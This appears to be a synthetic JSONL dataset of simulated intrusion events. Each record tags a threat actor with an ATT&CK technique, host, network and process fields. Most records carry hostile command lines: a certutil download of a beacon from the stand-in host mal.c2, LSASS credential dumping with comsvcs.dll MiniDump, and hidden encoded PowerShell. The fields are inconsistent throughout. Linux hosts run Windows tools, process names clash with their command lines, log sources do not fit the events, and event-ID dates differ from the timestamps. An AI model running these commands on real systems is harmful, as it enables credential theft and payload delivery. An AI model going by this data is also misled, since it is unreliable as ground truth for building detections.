text
stringlengths
1.13k
1.33k
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Command and Control"],"technique_id":"T1570"},"event_id":"evt_unc4841_20250819T002846000Z_0001601","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.239.198.15","name":"WIN-FIN-SRV-9MQ9R5XPMH","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1601UNC4841T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.139.60.126","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-09-06T13:25:35.000Z","user":{"name":"azuread\\hjxedhlc3rk3","sid":"S-1-5-21-684662150-225851168-5374"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence","Lateral Movement"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20261111T063721000Z_0001603","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.12.173.20","name":"AZURE-VM-JM4Q60ES1A","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1603Mustang PandaT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.73.141.36","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-10T08:43:15.000Z","user":{"name":"CORP\\9irksydi3025","sid":"S-1-5-21-126079845-680327660-8168"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20261029T105326000Z_0001605","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.175.217.81","name":"IAM-ROLE-V64DVU6DO0","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1605Mustang PandaT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.20.73.133","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-20T05:25:32.000Z","user":{"name":"CORP\\2yfe4g5wjt84","sid":"S-1-5-21-694263168-356119231-7166"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence","Collection"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260707T140927000Z_0001607","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.235.46.171","name":"APP-WEB-GCWEH4R8EO","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1607Lapsus$T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.97.22.147","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-16T01:19:19.000Z","user":{"name":"azuread\\wl3g45wxb1y7","sid":"S-1-5-21-122873170-340675861-5199"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement","Command and Control","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20261215T041430000Z_0001609","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.188.63.29","name":"WIN-FIN-SRV-MCACX39PLE","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1609Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.24.0.119","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-01T00:54:53.000Z","user":{"name":"arn:aws:iam::5dc8mo9ugtp5","sid":"S-1-5-21-189350163-445580940-7310"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20250114T164230000Z_0001611","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.202.40.231","name":"APP-WEB-YEB6TZU6CK","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1611UNC4841T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.40.215.167","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-19T15:47:31.000Z","user":{"name":"arn:aws:iam::gf491ho3zfnp","sid":"S-1-5-21-518051258-927085350-8812"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Persistence"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20261114T043805000Z_0001613","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.58.114.53","name":"AZURE-VM-WHYGR1R12F","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1613UNC4841T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.86.236.95","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 889 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-19T03:43:59.000Z","user":{"name":"svc_bbrbtj2jsjoy","sid":"S-1-5-21-710569387-424018197-2403"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20250408T023037000Z_0001615","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.228.15.48","name":"IAM-ROLE-MFYLAB0A98","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1615UNC4841T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.117.9.112","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-03T17:39:48.000Z","user":{"name":"CORP\\essc4lkccjub","sid":"S-1-5-21-220335428-411834113-7726"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Collection","Lateral Movement"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20260901T202535000Z_0001617","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.143.164.44","name":"EC2-INST-FMPLQCU42G","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1617Mustang PandaT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.121.219.211","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2036 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-11-02T23:42:41.000Z","user":{"name":"i-1mwxld31clml","sid":"S-1-5-21-308582096-991140784-3550"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Impact","Persistence"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260519T200242000Z_0001619","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.21.245.124","name":"AZURE-VM-XJIMSN1WNL","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1619Lapsus$T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.160.176.142","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-27T12:24:41.000Z","user":{"name":"svc_a1vfsa41qgdx","sid":"S-1-5-21-443988267-846809611-3899"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery","Persistence","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_unc4841_20250115T191357000Z_0001621","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.230.220.192","name":"DB-ORACLE-GZR2X5DUJW","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1621UNC4841T1570"},"network":{"domain":"github.com","dst_ip":"1.132.8.216","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-09-29T15:19:51.000Z","user":{"name":"arn:aws:iam::9ol7oy5zx4tm","sid":"S-1-5-21-235252485-774318860-8034"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20251213T155531000Z_0001623","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.125.240.252","name":"EC2-INST-2029OS0K74","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1623Volt TyphoonT1071.001"},"network":{"domain":"github.com","dst_ip":"1.78.135.33","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1189 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-06T16:04:50.000Z","user":{"name":"i-aizrk0zwpbir","sid":"S-1-5-21-494330714-858723177-6253"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Execution","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260410T151703000Z_0001625","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.59.117.136","name":"IAM-ROLE-RVTD5VZ544","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1625Volt TyphoonT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.2.250.193","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-08-18T18:01:57.000Z","user":{"name":"azuread\\xjdtswvp9sx4","sid":"S-1-5-21-399340367-332987889-8276"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control","Lateral Movement"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20261209T165134000Z_0001627","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.18.126.170","name":"APP-WEB-LTB2DKVH0I","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1627UNC4841T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.68.77.46","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-30T18:34:54.000Z","user":{"name":"arn:aws:iam::05cgj13amomf","sid":"S-1-5-21-676196368-877102000-1231"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250531T143416000Z_0001629","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.131.199.151","name":"EC2-INST-X1JV1J9SM1","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1629UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.86.115.188","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-07-10T12:45:01.000Z","user":{"name":"CORP\\8dqv4pgo9047","sid":"S-1-5-21-549977601-900305328-7986"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance","Execution","Exfiltration"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260914T231614000Z_0001631","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.233.20.29","name":"APP-WEB-9UQWFWICZJ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1631APT41T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.172.138.113","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3512 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-10T08:41:36.000Z","user":{"name":"azuread\\uqs1js5c391l","sid":"S-1-5-21-995677447-715767680-1766"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20261024T015635000Z_0001633","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.72.120.153","name":"IAM-ROLE-I5NH8CVR12","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1633Volt TyphoonT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.9.40.121","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-27T16:27:59.000Z","user":{"name":"CORP\\c6kiig6mm9ir","sid":"S-1-5-21-261278708-999609544-4683"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Credential Access","Lateral Movement","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260503T095249000Z_0001635","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.186.205.206","name":"IAM-ROLE-P3DAADH3WV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1635Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.128.129.66","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1232 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-20T04:05:06.000Z","user":{"name":"azuread\\mjobw4ghom5h","sid":"S-1-5-21-932338217-771180321-1062"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250514T120717000Z_0001637","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.15.158.86","name":"APP-WEB-9WCWM4JTC8","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1637APT41T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.83.160.9","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3872 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-09-08T12:12:26.000Z","user":{"name":"arn:aws:iam::c69cirsx0zyd","sid":"S-1-5-21-629374175-433418107-1945"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250123T050613000Z_0001639","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.178.49.66","name":"WIN-FIN-SRV-329XZ5JI6D","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1639Volt TyphoonT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.141.172.243","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1480 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-21T14:58:44.000Z","user":{"name":"i-53211y0y4po5","sid":"S-1-5-21-124280382-129822674-8929"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Execution"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250825T173108000Z_0001641","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.124.64.230","name":"DB-ORACLE-TONCXH9JI2","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1641APT41T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.77.237.120","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1278 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-04-03T04:09:09.000Z","user":{"name":"i-szsxdelsz6qg","sid":"S-1-5-21-631560113-252539305-5505"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Execution","Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20251216T041121000Z_0001643","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.221.187.170","name":"IAM-ROLE-9B8V5Z8RW3","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"1643Scattered SpiderT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.4.227.150","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-02-12T07:46:11.000Z","user":{"name":"arn:aws:iam::8dyqgpcwu73n","sid":"S-1-5-21-678508954-228390351-3105"}}
